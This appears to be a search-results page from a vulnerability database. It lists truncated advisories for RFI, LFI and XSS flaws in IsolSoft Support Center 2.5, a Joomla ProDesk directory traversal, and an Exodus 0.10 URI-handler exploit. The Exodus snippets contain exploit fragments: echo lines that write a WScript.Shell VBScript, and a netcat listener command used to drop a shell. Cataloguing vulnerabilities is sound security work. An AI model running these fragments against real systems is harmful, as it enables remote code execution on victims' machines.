255 matches found
CVE-2009-4542
The CVE 2009-4542 describes an Cross-site Scripting (XSS) vulnerability in IsolSoft Support Center 2.5, specifically in newticket.php where the lang parameter can be exploited to inject arbitrary script/HTML. This allows an attacker to execute client-side code in a victim’s browser, with the CVSS...
CVE-2009-4541: Improper Control of Generation of Code
Multiple PHP remote file inclusion vulnerabilities in IsolSoft Support Center 2.5 allow remote attackers to execute arbitrary PHP code via a URL in the lang parameter to 1 newticket.php or 2 rempass.php, or a URL in the lang parameter in an adduser action to 3 index.php. NOTE: this can also be...
CVE-2009-4542: Improper Neutralization of Input During Web Page Generation
Cross-site scripting XSS vulnerability in newticket.php in IsolSoft Support Center 2.5 allows remote attackers to inject arbitrary web script or HTML via the lang parameter...
IsolSoft Support Center 2.5 RFI / LFI / XSS
/ | | \ \ / / | | \ \ / / | |\ \ /\ / / | | | | | | \ V /| | | \ V V / | | || | || / ||| // ,|, | |/ | | | |/ / | ' \ | | / | | | | | | | |||,|| || || IsolSoft Support Center 2.5 RFI/LFI/XSS Multiples Vulnerabilities Discovered By : Moudi Contact : Download : http://www.isolsoft.com/...
IsolSoft Support Center 2.5 (RFI/LFI/XSS) Multiples Vulnerabilities
Exploit for unknown platform in category web applications =================================================================== IsolSoft Support Center 2.5 RFI/LFI/XSS Multiples Vulnerabilities =================================================================== / IsolSoft Support Center 2.5...
IsolSoft Support Center 2.5 (RFI/LFI/XSS) Multiples Vulnerabilities
No description provided by source. / | | \ \ / / | | \ \ / / | |\ \ /\ / / | | | | | | \ V /| | | \ V V / | | || | || / ||| // ,|, | |/ | | | |/ / | ' \ | | / | | | | | | | |||,|| || || IsolSoft Support Center 2.5 RFI/LFI/XSS Multiples Vulnerabilities Discovered By : Moudi Contact :...
IsolSoft Support Center 2.5 - Local File Inclusion Remote File Inclusion Cross-Site Scripting
IsolSoft Support Center 2.5 - Local File Inclusion Remote File Inclusion Cross-Site Scripting / | | \ \ / / | | \ \ / / | |\ \ /\ / / | | | | | | \ V /| | | \ V V / | | || | || / ||| // ,|, | |/ | | | |/ / | ' \ | | / | | | | | | | |||,|| || || IsolSoft Support Center 2.5 RFI/LFI/XSS...
IsolSoft Support Center 2.5 - Local File Inclusion / Remote File Inclusion / Cross-Site Scripting
/ | | \ \ / / | | \ \ / / | |\ \ /\ / / | | | | | | \ V /| | | \ V V / | | || | || / ||| // ,|, | |/ | | | |/ / | ' \ | | / | | | | | | | |||,|| || || IsolSoft Support Center 2.5 RFI/LFI/XSS Multiples Vulnerabilities Discovered By : Moudi Contact : Download : http://www.isolsoft.com/...
CVE-2008-6222
Directory traversal vulnerability in the Pro Desk Support Center comprodesk component 1.0 and 1.2 for Joomla! allows remote attackers to read arbitrary files via a .. dot dot in the includefile parameter to index.php...
CVE-2008-6222
Joomla! Pro Desk (com_pro_desk) 1.0/1.2 is affected by a Local File Inclusion vulnerability in index.php via include_file using a .. path. This can allow remote attackers to read arbitrary files and potentially disclose sensitive information. The Nuclei template confirms the issue and describes t...
CVE-2008-6222: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in the Pro Desk Support Center comprodesk component 1.0 and 1.2 for Joomla! allows remote attackers to read arbitrary files via a .. dot dot in the includefile parameter to index.php...
Exodus 0.10 (uri handler) Arbitrary Parameter Injection Exploit
No description provided by source. !-- Exodus v0.10 remote code execution exploit by Nine:Situations:Group::strawdog This uses the "-l" argument to overwrite a file inside Microsoft Help and Support Center folders oh rgod... Firstly run netcat in listen mode to drop the vbscript shell run this...
exodus-injection.txt
testfile echo Dim wshShell testfile echo Set wshShell = CreateObject"WScript.Shell" testfile echo wshShell.Run"cmd /c start calc" testfile echo ^ testfile nc -L -s 192.168.0.1 -p 5222 -vv click me click me...
Exodus 0.10 (uri handler) Arbitrary Parameter Injection Exploit
Exploit for unknown platform in category remote exploits =============================================================== Exodus 0.10 uri handler Arbitrary Parameter Injection Exploit =============================================================== testfile echo Dim wshShell testfile echo Set...
Exodus 0.10 - URI Handler Arbitrary Parameter Injection (2)
Exodus 0.10 - URI Handler Arbitrary Parameter Injection 2 testfile echo Dim wshShell testfile echo Set wshShell = CreateObject"WScript.Shell" testfile echo wshShell.Run"cmd /c start calc" testfile echo ^ testfile nc -L -s 192.168.0.1 -p 5222 -vv click me click me milw0rm.com 2008-11-20...
Exodus 0.10 - URI Handler Arbitrary Parameter Injection (2)
testfile echo Dim wshShell testfile echo Set wshShell = CreateObject"WScript.Shell" testfile echo wshShell.Run"cmd /c start calc" testfile echo ^ testfile nc -L -s 192.168.0.1 -p 5222 -vv click me click me milw0rm.com 2008-11-20...
Joomla Component ProDesk 1.0/1.2 Local File Inclusion Vulnerability
Exploit for unknown platform in category web applications =================================================================== Joomla Component ProDesk 1.0/1.2 Local File Inclusion Vulnerability ===================================================================...
numedia-activex.txt
: DVDEngineX.Initialize True sLogFileName="C:\WINDOWS\PCHEA...
